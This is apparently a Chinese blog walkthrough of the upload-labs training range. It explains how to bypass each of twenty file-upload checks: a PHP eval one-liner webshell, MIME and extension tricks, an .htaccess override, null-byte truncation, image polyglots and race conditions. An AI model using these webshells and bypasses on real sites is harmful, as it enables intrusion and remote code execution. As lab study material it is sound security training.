April 16th 2019, 12:00:00 pm
基础知识
靶机包含漏洞类型分类
如何判断上传漏洞类型
Upload
Pass-01
尝试上传了一个PHP,反应很快弹出格式要求窗口。再根据网页源码判断,应该是使用了JS判断。
- 用Brupsuite抓包
- 然后将filename修改为“shell.php”
- 在文件内容里添加
<?php eval($_POST[three])?>
- 上传之后用菜刀连接
这个除了js之外都没有什么检查。
Pass-02
和第一关一样,尝试了一个php后,提示:文件类型不正确,请重新上传!
并没有发现相关的JS代码,所以应该是在服务端检查。
和第一关一样的步骤。
- 用Brupsuite抓包
- 然后将filename修改为“shell.php”
- 在文件内容里添加
<?php eval($_POST[three])?>
- 上传之后用菜刀连接
看了源码后发现:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
它只判断了数据包的MIME。却没有对后缀名进行检查。
Pass-03
上传一个php,提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 属于黑名单类型。
这里需要上传特殊可解析后缀,
例如.phtml
或者 .php2
两种类型都上传成功,但是没有被解析。
可能是由于我配置的缘故,没有成功被解析。orz,不敢再继续配置下去了。
这里收集了一些可被PHP解析器解析执行的后缀名:
.php*
类:- .php. ubuntu 12.04 lts LAMP bypass with .php.
- .php3
- .php4
- .php5
- .php6
- .php7
.ph*
类- .pht
- .phtm
- .phtml
解析漏洞类
- .php.gif
- .jpg%00.php
Pass-04
尝试上传了一个不存在的后缀名,上传成功,应该是使用了黑名单。
查看了提示之后发现,黑名单列举了几乎所有能使用的格式。
尝试上传.htaccess文件?
1 | <FilesMatch "evil.jpg"> |
可以将evil.jpg文件解析为php
另一种方式:
- 上传一个evil.php:.jpg文件,上传目录下会存在一个evil.php的空文件
- 上传一个evil.<或evil.<<<或evil.>>>或evil.>><后再次上传,重写evil.php
- 菜刀链接
Pass-05
会对文件进行重命名,所以无法用第四关的第二种方法。
这里得用大小写绕过,上传一个.PHp或者其他名称都行。
Pass-06
增加点和空格,写成 evil.php.
但是这样上传之后只会变成没有后缀的文件名,可能只是环境的问题。
Pass-07
禁止了一切可执行的后缀
用第6题的方法,在后缀名的地方加点。
很奇怪的是,这个却成功写入了,第六题却不行。
从源码来看:
第六题多了一个函数:$file_name = deldot($file_name);//删除文件名末尾的点
第七题没有这个函数,所以不用加点。
Pass-08
使用Windows文件流特性绕过
- 文件名改成
evil.php::$DATA
- 上传后的图片名称为:
evil.php
(这题会变成修改图片名,但后缀都是php)
Pass-09
同第6关,修改后缀名为:evil.php. .
上传后的文件名为php
从源码来看:
相比第六关,多了一个$file_ext = trim($file_ext); //首尾去空
当. .
先去了一个点,再首尾去空,就和第七关一样只剩下一个点成功上传。
Pass-10
从源码上看,会删除黑名单的存在的后缀。双写绕过
上传文件名改为:evil.phphpp
Pass-11
这个漏洞比较鸡肋。利用的环境得先有两个条件:
- PHP版本小于5.3.4
- PHP的magic_quotes_gpc为OFF状态
这里利用的是%00截断。
可知:
- 文件保存的路径可控
- 文件上传时文件名可控
于是在路径处,将../upload/
改为:../upload/evil.php%00
文件名为正常的jpg后缀,上传后可得到:../upload/evil.php
因为写入文件时,读到%00会当做结束符而把后面的数据直接忽略,所以就生成了evil.php
Pass-12
和11关一样的使用截断绕过,但这里是利用Brupsuite的Hex功能。
- 在保存的路径处,将
../upload/
改为:../upload/evil.php
(注意这里有个空格) - 使用Brupsuite的Hex,将对应空格处的20改为00
- 上传
Pass-13
这一关的任务好像增加了呀,要.jpg,.png,.gif都上传成功才算过关。
GIF图片格式最简单:
GIF89a<?php phpinfo(); ?>
.gif后缀上传即可JPG:
- 准备一个一句话,一个jpg图片
- 使用:
copy 1.jpg /b + 2.php /a evil.jpg
生成一个带有一句话的jpg
PNG:和JPG一样的操作
Pass-14
提示:本pass使用getimagesize()检查是否为图片文件!
和13关是一样的。
Pass-15
提示:本pass使用exif_imagetype()检查是否为图片文件!
和13关是一样的。
Pass-16
提示:本pass重新渲染了图片!
这里就是DDCTF第三题的考点,图片的二次渲染。
GIF的图的又是最简单的:
寻找到一个渲染后没有发生变化的部分
将恶意代码插入
(这里可以使用Brupsuite来对比两个图片的数据,然后寻找到没有改变的区域)
PNG:
- 这里可以直接用国外的脚本
1 |
|
用php运行后得到1.png上传即可。
- JPG:
JPG也是可以直接使用国外的脚本生成
使用方法:
- 先将JPG图片上传渲染一次
- 下载下来,使用脚本:
php xuanran.php 1.jpg
- 得到pyload图片再上传
1 |
|
Pass-17
提示需要代码审计:
查看源码。
这里先会把文件上传,上传成功之后开始判断后缀,如果后缀不合法,则删除文件。合法的话就更改名称。
这里使用的方法是条件竞争删除时间差绕过,在文件还没被删除的时候访问到evil.php
- 上传evil.php文件
- 用Brupsuite抓包
- 用Brupsuite的测试器,将线程数调整到20以上,提交数据包
- 访问evil.php
Pass-18
这一关需要利用上传重命名竞争+Apache解析漏洞。
和第17关一样,先上传,后判断,并修改文件名。
- 上传evil.php.7Z文件
- 用Brupsuite抓包
- 用Brupsuite的测试器,将线程数调整到20以上,提交数据包
成功的时候会提示:文件已经被上传,但没有重命名。
可能是这个lab的源码有问题,直接上传文件名会导致文件名变为”uploadevil.php.7Z”
将文件名改为”/evil.php.7Z”上传即可
成功之后访问”evil.php.7Z”。
Pass-19
和12关一样的解法,这里是通过$_POST
方法来获取文件名。
- 将
evil.php
改为:evil.php 1.jpg
(注意这里有个空格) - 使用Brupsuite的Hex,将对应空格处的20改为00
- 上传
就可以访问。
Pass-20
1 | $is_upload = false; |
源码进行了以下事情:
- 检查MIME
- 检查后缀名(这里全部化为了小写)
- 都通过之后再保存文件
使用以下POST数据绕过:
1 | Content-Length: 537 |
分析,由于他在前面加了一个判断数组的if语句,于是可以赋值给sava_name[0],和sava_name[2]的值分别为:phpinfo.php/ 和 jpg。
此时的sava_name的值为:
这样在最后的file_name赋值的时候就为:phpinfo.php/.jpg
通过move_uploaded_file,最终上传的文件名为phpinfo.php
总结
根据lab提供的图片又总结了一下。